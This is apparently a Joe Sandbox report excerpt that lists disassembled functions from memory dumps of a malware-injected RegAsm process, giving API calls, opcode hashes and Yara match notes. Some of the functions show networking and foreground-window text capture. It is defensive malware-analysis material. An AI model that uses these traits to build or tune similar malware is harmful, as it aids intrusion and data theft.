                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: String
                      • String ID: LCMapStringEx
                      • API String ID: 2568140703-3893581201
                      • Opcode ID: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                      • Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
                      • Opcode Fuzzy Hash: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                      • Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99
                      Function 10005F19 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON
                      Download Yara Rule
                      APIs
                      • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,5EFC4D8B,00000100,?,5EFC4D8B,00000000), ref: 10005F8A
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: String
                      • String ID: LCMapStringEx
                      • API String ID: 2568140703-3893581201
                      • Opcode ID: 9311d150e09a2ea236c127db5a9a9399c35e1f3cdcd5bb094b510bbe54d2b48d
                      • Instruction ID: 984c2aabb43d86beb2eff1d34daabde68608d0bd8f0a2971fe4c3ea005c0c61c
                      • Opcode Fuzzy Hash: 9311d150e09a2ea236c127db5a9a9399c35e1f3cdcd5bb094b510bbe54d2b48d
                      • Instruction Fuzzy Hash: 9401D332500159BBEF129F90CC05EEE7F66EF08390F018115FE1826124CB369971AB95
                      Function 00448A84 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0044BF4F,-00000020,00000FA0,00000000,00467378,00467378), ref: 00448ACF
                      Strings
                      • InitializeCriticalSectionEx, xrefs: 00448A9F
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CountCriticalInitializeSectionSpin
                      • String ID: InitializeCriticalSectionEx
                      • API String ID: 2593887523-3084827643
                      • Opcode ID: 682e35b38dfd5190380aa89288d85395b8b8c573abd287f9b51c67f13ec4e10f
                      • Instruction ID: 658be74961f29c719de8c28810f5b4ff6aac6a213607643c1e3aaf487ccb6ecc
                      • Opcode Fuzzy Hash: 682e35b38dfd5190380aa89288d85395b8b8c573abd287f9b51c67f13ec4e10f
                      • Instruction Fuzzy Hash: 12F0E235640208FBCF019F51DC06EAE7F61EF48722F10816AFC096A261DE799D25ABDD
                      Function 00448710 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Alloc
                      • String ID: FlsAlloc
                      • API String ID: 2773662609-671089009
                      • Opcode ID: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                      • Instruction ID: c1fb2f6f3e96c04a711f36652bc0978b46922b6b0bac1ff16f6cb7e5114ce70e
                      • Opcode Fuzzy Hash: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                      • Instruction Fuzzy Hash: 98E02B30640218E7D700AF65DC16A6EBB94CF48B12B20057FFD0557391DE786D0595DE
                      Function 10005D5C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Alloc
                      • String ID: FlsAlloc
                      • API String ID: 2773662609-671089009
                      • Opcode ID: 5ade6ed448300679f83b5d20ac83fd3ad7347746afaf7e54a560ff76d56e46a0
                      • Instruction ID: c304bc83fd0672a576945d725d7c66755e55876121cef6cfa1c70df20931aaa1
                      • Opcode Fuzzy Hash: 5ade6ed448300679f83b5d20ac83fd3ad7347746afaf7e54a560ff76d56e46a0
                      • Instruction Fuzzy Hash: 43E0E535600228ABF325EB608C15EEFBBA4DB583D1B01405AFE0966209CE326D0185D6
                      Function 00438D94 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                      Download Yara Rule
                      APIs
                      • try_get_function.LIBVCRUNTIME ref: 00438DA9
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: try_get_function
                      • String ID: FlsAlloc
                      • API String ID: 2742660187-671089009
                      • Opcode ID: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                      • Instruction ID: 997240ade825b32cd49e327dc5ad0f79abc42783939d358afc793268dfa947f7
                      • Opcode Fuzzy Hash: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                      • Instruction Fuzzy Hash: 1FD05B31B8172866861036D56C02B99F654CB45BF7F14106BFF0875293999D581451DE
                      Function 10003AF1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                      Download Yara Rule
                      APIs
                      • try_get_function.LIBVCRUNTIME ref: 10003B06
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: try_get_function
                      • String ID: FlsAlloc
                      • API String ID: 2742660187-671089009
                      • Opcode ID: e5392f9aa55551a50589cb99c6148b67437594651e03cd2756b54b563a9e1daf
                      • Instruction ID: 0b7c7f44018c04906f4f2ef9afae3f4f684564eee465a9a4c05fe82f6616737e
                      • Opcode Fuzzy Hash: e5392f9aa55551a50589cb99c6148b67437594651e03cd2756b54b563a9e1daf
                      • Instruction Fuzzy Hash: 13D02B32744138B3F201B3A06C04BEEBB88D7025F2F040063FB4C5210CDB11591042E6
                      Function 0041B7B6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                      Download Yara Rule
                      APIs
                      • GlobalMemoryStatusEx.KERNEL32(?), ref: 0041B7CA
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: GlobalMemoryStatus
                      • String ID: @
                      • API String ID: 1890195054-2766056989
                      • Opcode ID: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                      • Instruction ID: 2d2b64c70bc766df394076410504e3f9c8f669937c614d63c6700d8895b1c70c
                      • Opcode Fuzzy Hash: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                      • Instruction Fuzzy Hash: E6D017B58023189FC720DFA8E804A8DBBFCFB08210F00456AEC49E3700E770E8008B94
                      Function 0044F119 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                      • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044EFBA,?,00000000), ref: 0044F18D
                      • GetCPInfo.KERNEL32(00000000,0044EFBA,?,?,?,0044EFBA,?,00000000), ref: 0044F1A0
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CodeInfoPageValid
                      • String ID:
                      • API String ID: 546120528-0
                      • Opcode ID: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                      • Instruction ID: 3b7bf12515eb554c774b4e527f81d40cffab4a6430697902d987c8214247c1f3
                      • Opcode Fuzzy Hash: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                      • Instruction Fuzzy Hash: BB5116749002469EFB24CF76C8816BBBBE5FF41304F1444BFD08687251D6BE994ACB99
                      Function 10006E20 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 100069F3: GetOEMCP.KERNEL32(00000000,?,?,10006C7C,?), ref: 10006A1E
                      • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,10006CC1,?,00000000), ref: 10006E94
                      • GetCPInfo.KERNEL32(00000000,10006CC1,?,?,?,10006CC1,?,00000000), ref: 10006EA7
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: CodeInfoPageValid
                      • String ID:
                      • API String ID: 546120528-0
                      • Opcode ID: 4adf61bb8ef5ba689b58ef35b1aaecca0a92cbb4d0ae1edbfb61d6a665a170f3
                      • Instruction ID: 1dd91d3823b6bb4934ca9945ee4913e93bf289da146d72ec34fd0236562290e4
                      • Opcode Fuzzy Hash: 4adf61bb8ef5ba689b58ef35b1aaecca0a92cbb4d0ae1edbfb61d6a665a170f3
                      • Instruction Fuzzy Hash: 91513474E043469EFB21CF71DC916BBBBE6EF49280F20807EE48687156D735DA458B90
                      Function 0044EF58 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • Part of subcall function 0044F077: _abort.LIBCMT ref: 0044F0A9
                        • Part of subcall function 0044F077: _free.LIBCMT ref: 0044F0DD
                        • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                      • _free.LIBCMT ref: 0044EFD0
                      • _free.LIBCMT ref: 0044F006
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorLast_abort
                      • String ID:
                      • API String ID: 2991157371-0
                      • Opcode ID: 23ed7ce0d1312216544e861ed2cc667081b9de49bf4146cfd61311aa69b4ec7f
                      • Instruction ID: 3a29b68b49955ca98559fee15c42126097606514ccea0e67eec2104835090475
                      • Opcode Fuzzy Hash: 23ed7ce0d1312216544e861ed2cc667081b9de49bf4146cfd61311aa69b4ec7f
                      • Instruction Fuzzy Hash: FD31D531904104BFFB10EB6AD440B9EB7E4FF40329F2540AFE5149B2A1DB399D45CB48
                      Function 10006C5F Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 10005AF6: GetLastError.KERNEL32(?,?,10006C6C), ref: 10005AFA
                        • Part of subcall function 10005AF6: _free.LIBCMT ref: 10005B2D
                        • Part of subcall function 10005AF6: SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B6E
                        • Part of subcall function 10005AF6: _abort.LIBCMT ref: 10005B74
                        • Part of subcall function 10006D7E: _abort.LIBCMT ref: 10006DB0
                        • Part of subcall function 10006D7E: _free.LIBCMT ref: 10006DE4
                        • Part of subcall function 100069F3: GetOEMCP.KERNEL32(00000000,?,?,10006C7C,?), ref: 10006A1E
                      • _free.LIBCMT ref: 10006CD7
                      • _free.LIBCMT ref: 10006D0D
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorLast_abort
                      • String ID:
                      • API String ID: 2991157371-0
                      • Opcode ID: edadbe4ca17b1bb3a790d59a6ed19414cc5eb62636eebdfc00c28812a33e9cae
                      • Instruction ID: 62e76a57c0cb8018fa5258269fd2d3c97d0f5aa08c1c35bbbea2ca126a332e06
                      • Opcode Fuzzy Hash: edadbe4ca17b1bb3a790d59a6ed19414cc5eb62636eebdfc00c28812a33e9cae
                      • Instruction Fuzzy Hash: AB31D835904249AFF700CB69DD81B5D77F6EF493A0F3141A9E8049B295EB76AD40CB50
                      Function 004484CA Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7,00000000), ref: 0044852A
                      • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00448537
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc__crt_fast_encode_pointer
                      • String ID:
                      • API String ID: 2279764990-0
                      • Opcode ID: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                      • Instruction ID: 198cd69cd453a5762926ca534f03dc7b1e1ac857a4a5158ec5eb6717dc05f104
                      • Opcode Fuzzy Hash: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                      • Instruction Fuzzy Hash: C3113A37A00131AFEB21DE1CDC4195F7391EB80724716452AFC08AB354DF34EC4186D8
                      Function 00446185 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 004461A6
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      • RtlReAllocateHeap.NTDLL(00000000,00000000,?,?,0000000F,00000000,00432F02,00000000,0000000F,0042F90C,?,?,004319B3,?,?,00000000), ref: 004461E2
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AllocateHeap$_free
                      • String ID:
                      • API String ID: 1482568997-0
                      • Opcode ID: 365bd7ee977071c6a41bb961a5dd0d7818d2ba038ed0d9e6099f468a5701a404
                      • Instruction ID: bbbbf11ac8836aedddebace835184d628c0e8eb9448606daf7135ff7baabef38
                      • Opcode Fuzzy Hash: 365bd7ee977071c6a41bb961a5dd0d7818d2ba038ed0d9e6099f468a5701a404
                      • Instruction Fuzzy Hash: ACF0683120051566BF212A16AD01B6F375D8F83B75F17411BF91466292DE3CD911916F
                      Function 0040482D Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                      Download Yara Rule
                      APIs
                      • socket.WS2_32(00000002,00000001,00000006), ref: 00404852
                      • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,0040530B,?,?,00000000,00000000,?,?,00000000,00405208,?,00000000), ref: 0040488E
                        • Part of subcall function 0040489E: WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateEventStartupsocket
                      • String ID:
                      • API String ID: 1953588214-0
                      • Opcode ID: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                      • Instruction ID: 7af5cc85a36d800a693892934b5c0b91abe86707509305098cc6d5fca1b6a633
                      • Opcode Fuzzy Hash: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                      • Instruction Fuzzy Hash: 6E0171B1408B809ED7359F38A8456977FE0AB55304F048D6EF1DA97B91D3B5A881CB18
                      Function 0040165E Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 42a83028ea29ee4520479fdfd1ce509581fbe236408560bbb12e48215694f405
                      • Instruction ID: 20740d68f627359004b4f50e822579efa7e6dd26000e0d34fcfb16e84f8f3500
                      • Opcode Fuzzy Hash: 42a83028ea29ee4520479fdfd1ce509581fbe236408560bbb12e48215694f405
                      • Instruction Fuzzy Hash: 6EF0E2706042015BDB1C8B34CD60B2A36955B84315F288F3FF01AD61E0C73EC8918A0D
                      Function 10001EEC Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                      Download Yara Rule
                      APIs
                      • dllmain_crt_process_attach.LIBCMT ref: 10001F22
                      • dllmain_crt_process_detach.LIBCMT ref: 10001F35
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: dllmain_crt_process_attachdllmain_crt_process_detach
                      • String ID:
                      • API String ID: 3750050125-0
                      • Opcode ID: a083a93b774f70b3c38eb0fc97558fdcbb4f7ca7475fb23d15f98f17c44c9911
                      • Instruction ID: 876e10da87b92cf64c449b9c471687dd08192407587f6dd1e67cbf7e6a41b987
                      • Opcode Fuzzy Hash: a083a93b774f70b3c38eb0fc97558fdcbb4f7ca7475fb23d15f98f17c44c9911
                      • Instruction Fuzzy Hash: A0E0D83646820BEAFB11EEB498156FD37D8EB011C1F100536B851C115ECB39EB90F121
                      Function 0041BA96 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Window$ForegroundText
                      • String ID:
                      • API String ID: 29597999-0
                      • Opcode ID: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                      • Instruction ID: 4615795adb372a642f3ed3ff298372a60f443b3219566b47796808df054d69ed
                      • Opcode Fuzzy Hash: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                      • Instruction Fuzzy Hash: CCE0D875A00328A7E720A7A49C4EFE5776CEB08701F0000EEBA18D71C2EAB4AD04C7E4
                      Function 00414EE9 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON
                      Download Yara Rule
                      APIs
                      • getaddrinfo.WS2_32(00000000,00000000,00000000,00472ADC,004750E4,00000000,00415188,00000000,00000001), ref: 00414F0B
                      • WSASetLastError.WS2_32(00000000), ref: 00414F10
                        • Part of subcall function 00414D86: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                        • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E17
                        • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                        • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                        • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E76
                        • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                        • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                        • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Library$AddressProc$FreeLoad$DirectoryErrorLastSystemgetaddrinfo
                      • String ID:
                      • API String ID: 1170566393-0
                      • Opcode ID: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                      • Instruction ID: cadd3d9b0d0923a9352550a0b766658ea18523973fceddbfefdc7c35282954d4
                      • Opcode Fuzzy Hash: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                      • Instruction Fuzzy Hash: 9ED017322015316BD320A769AC01AFBAA9EDBD7771B16003BFA08D3210D6949C8282E8
                      Function 0043A3EC Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00438D94: try_get_function.LIBVCRUNTIME ref: 00438DA9
                      • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A40A
                      • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 0043A415
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                      • String ID:
                      • API String ID: 806969131-0
                      • Opcode ID: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                      • Instruction ID: 13a2799ba917d8b657c14e130d7338f5d7a652e6d8bc03527a2a5cb893e190b1
                      • Opcode Fuzzy Hash: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                      • Instruction Fuzzy Hash: 23D0A920088310241C14A3792C0F19B53442A3A7BCF70726FFAF4861C3EEDC8062612F
                      Function 100038E8 Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 10003AF1: try_get_function.LIBVCRUNTIME ref: 10003B06
                      • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003906
                      • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 10003911
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                      • String ID:
                      • API String ID: 806969131-0
                      • Opcode ID: 85dde84de96db858e9ac955eb0900af54eb95c15fda99a7601862167fd99e8cb
                      • Instruction ID: 7b09b9f0a56a55c342e0a0cde292dff0536b901afa775ab746cb2a45ce2dbbc5
                      • Opcode Fuzzy Hash: 85dde84de96db858e9ac955eb0900af54eb95c15fda99a7601862167fd99e8cb
                      • Instruction Fuzzy Hash: 50D0223A8087431CF80BC6BD2C67A8B23CCCB421F4360C2A6F7209A0CDEF60E0046322
                      Function 10005C45 Relevance: 1.6, APIs: 1, Instructions: 65COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 10005CB2
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
